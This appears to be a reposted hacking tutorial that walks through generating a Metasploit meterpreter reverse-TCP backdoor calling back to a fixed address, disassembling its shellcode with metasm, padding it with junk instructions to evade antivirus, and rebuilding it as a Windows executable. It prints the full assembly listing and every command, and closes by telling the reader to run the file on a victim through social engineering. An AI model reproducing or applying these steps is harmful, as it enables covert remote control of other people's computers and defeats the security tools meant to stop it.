1. Create malicious file(backdoor)
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=443 R > raw_binaryor$ ./msfvenom --payload windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=443 -f raw > raw_binary2. Copy metasm.rb (ruby library for disassemble file that normally ship with Metasploit ) to metasm folder of environment ruby folder.
$ cd /pentest/exploit/framework/lib/metasm
$ cp -a metasm.rb metasm /usr/lib/ruby/1.9.23. Disassemble it
$ ruby /pentest/exploit/framework/lib/metasm/samples/disassemble.rb raw_binary > asm_code.asmThat will create a file called asm_code.asm which should look something like this
entrypoint_0:
cld ; @0 fc
call sub_8fh ; @1 e889000000 x:sub_8fh
pushad ; @6 60
mov ebp, esp ; @7 89e5
xor edx, edx ; @9 31d2
mov edx, fs:[edx+30h] ; @0bh 648b5230 r4:segment_base_fs+30h
mov edx, [edx+0ch] ; @0fh 8b520c r4:unknown
mov edx, [edx+14h] ; @12h 8b5214 r4:unknown
// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff
// Xrefs: 2ch
loc_1eh:
xor eax, eax ; @1eh 31c0
lodsb ; @20h ac
cmp al, 61h ; @21h 3c61
jl loc_27h ; @23h 7c02 x:loc_27h
sub al, 20h ; @25h 2c20
// Xrefs: 23h
loc_27h:
ror edi, 0dh ; @27h c1cf0d
add edi, eax ; @2ah 01c7
loop loc_1eh ; @2ch e2f0 x:loc_1eh
push edx ; @2eh 52
push edi ; @2fh 57
mov edx, [edx+10h] ; @30h 8b5210 r4:unknown
mov eax, [edx+3ch] ; @33h 8b423c
add eax, edx ; @36h 01d0
mov eax, [eax+78h] ; @38h 8b4078
test eax, eax ; @3bh 85c0
jz loc_89h ; @3dh 744a x:loc_89h
add eax, edx ; @3fh 01d0
push eax ; @41h 50
mov ecx, [eax+18h] ; @42h 8b4818
mov ebx, [eax+20h] ; @45h 8b5820
add ebx, edx ; @48h 01d3
// Xrefs: 66h
loc_4ah:
jecxz loc_88h ; @4ah e33c x:loc_88h
dec ecx ; @4ch 49
mov esi, [ebx+4*ecx] ; @4dh 8b348b
add esi, edx ; @50h 01d6
xor edi, edi ; @52h 31ff
// Xrefs: 5eh
loc_54h:
xor eax, eax ; @54h 31c0
lodsb ; @56h ac
ror edi, 0dh ; @57h c1cf0d
add edi, eax ; @5ah 01c7
cmp al, ah ; @5ch 38e0
jnz loc_54h ; @5eh 75f4 x:loc_54h
add edi, [ebp-8] ; @60h 037df8
cmp edi, [ebp+24h] ; @63h 3b7d24
jnz loc_4ah ; @66h 75e2 x:loc_4ah
pop eax ; @68h 58
mov ebx, [eax+24h] ; @69h 8b5824
add ebx, edx ; @6ch 01d3
mov cx, [ebx+2*ecx] ; @6eh 668b0c4b
mov ebx, [eax+1ch] ; @72h 8b581c
add ebx, edx ; @75h 01d3
mov eax, [ebx+4*ecx] ; @77h 8b048b
add eax, edx ; @7ah 01d0
mov [esp+24h], eax ; @7ch 89442424
pop ebx ; @80h 5b
pop ebx ; @81h 5b
popad ; @82h 61
pop ecx ; @83h 59
pop edx ; @84h 5a
push ecx ; @85h 51
jmp eax ; @86h ffe0
// Xrefs: 4ah
loc_88h:
pop eax ; @88h 58
// Xrefs: 3dh
loc_89h:
pop edi ; @89h 5f
pop edx ; @8ah 5a
mov edx, [edx] ; @8bh 8b12 r4:unknown
jmp loc_15h ; @8dh eb86 x:loc_15h
// Xrefs: 1
sub_8fh:
// function binding: ebp -> dword ptr [esp], esp -> esp-10h
// function ends at 0a0h
pop ebp ; @8fh 5d
push 3233h ; @90h 6833320000
push 5f327377h ; @95h 687773325f
push esp ; @9ah 54
push 726774ch ; @9bh 684c772607
call ebp ; @0a0h ffd5 endsub sub_8fh noreturn
db 0b8h, 90h, 1, 0, 0, 29h, 0c4h, "TPh)", 80h, 6bh, 0 ; @0a2h
db 0ffh, 0d5h, "PPPP@P@Ph", 0eah, 0fh, 0dfh, 0e0h, 0ffh ; @0b0h
db 0d5h, 97h, 6ah, 5, 68h, 0c0h, 0a8h, 1, 64h, 68h, 2, 0, 1, 0bbh, 89h, 0e6h ; @0c0h
db 6ah, 10h, "VWh", 99h, 0a5h, 74h, 61h, 0ffh, 0d5h, 85h, 0c0h, 74h, 0ch, 0ffh ; @0d0h
db 4eh, 8, 75h, 0ech, 68h, 0f0h, 0b5h, 0a2h, 56h, 0ffh, 0d5h, 6ah, 0, 6ah, 4, 56h ; @0e0h
db 57h, 68h, 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 8bh, "6j@h", 0, 10h, 0 ; @0f0h
db 0, 56h, 6ah, 0, 68h, 58h, 0a4h, 53h, 0e5h, 0ffh, 0d5h, 93h, 53h, 6ah, 0, 56h ; @100h
db "SWh", 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 1, 0c3h, 29h, 0c6h, 85h, 0f6h, 75h ; @110h
db 0ech, 0c3h ; @120h
4. Now obfuscate it. From the Source.
For now, we’ll continue with the “spray and pray” methodology. You can add anything you want so long as you don’t break the functionality of the application. I find that simply pushing registers onto the stack and then popping them back off sometimes will do the trick. Also just before a XOR statement (which is often used to set the value of a register to zero) you can add a bunch of random statements to increment and decrement the register, move values of other registers into it. Anything you do won’t matter because eventually you will be changing the value to zero. So using the above example we can change the section beginning with ‘// Xrefs: 8dh’
From This:
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// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff
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To This:
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// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
mov edi, ecx ; Move the contents of the ECX register into the EDI Register
push edi ; Push the EDI register onto the current stack frame
pop edi ; Pop it back off
mov edi, ecx ; Mov ECX back into edi
xor ecx, ecx ; Zero out the contents of the ECX register
mov ecx, edi ; Mov EDI back into ECX
xor edi, edi ; @1ch 31ff
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5. Add the following two lines to the top of the file for it to build correctly
.section '.text' rwx
.entrypoint
6. Use metasm to build the executionable and package it into the format that windows can run.
$
/pentest/exploits/framework/lib/metasm/samples/peencode.rb asm_code.asm -o coolstuff.exe 7. Now check the file with
$ file coolstuff.exe
8. Run it in the victim with your social engineering skill. Have a nice hack :).
Source: http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/
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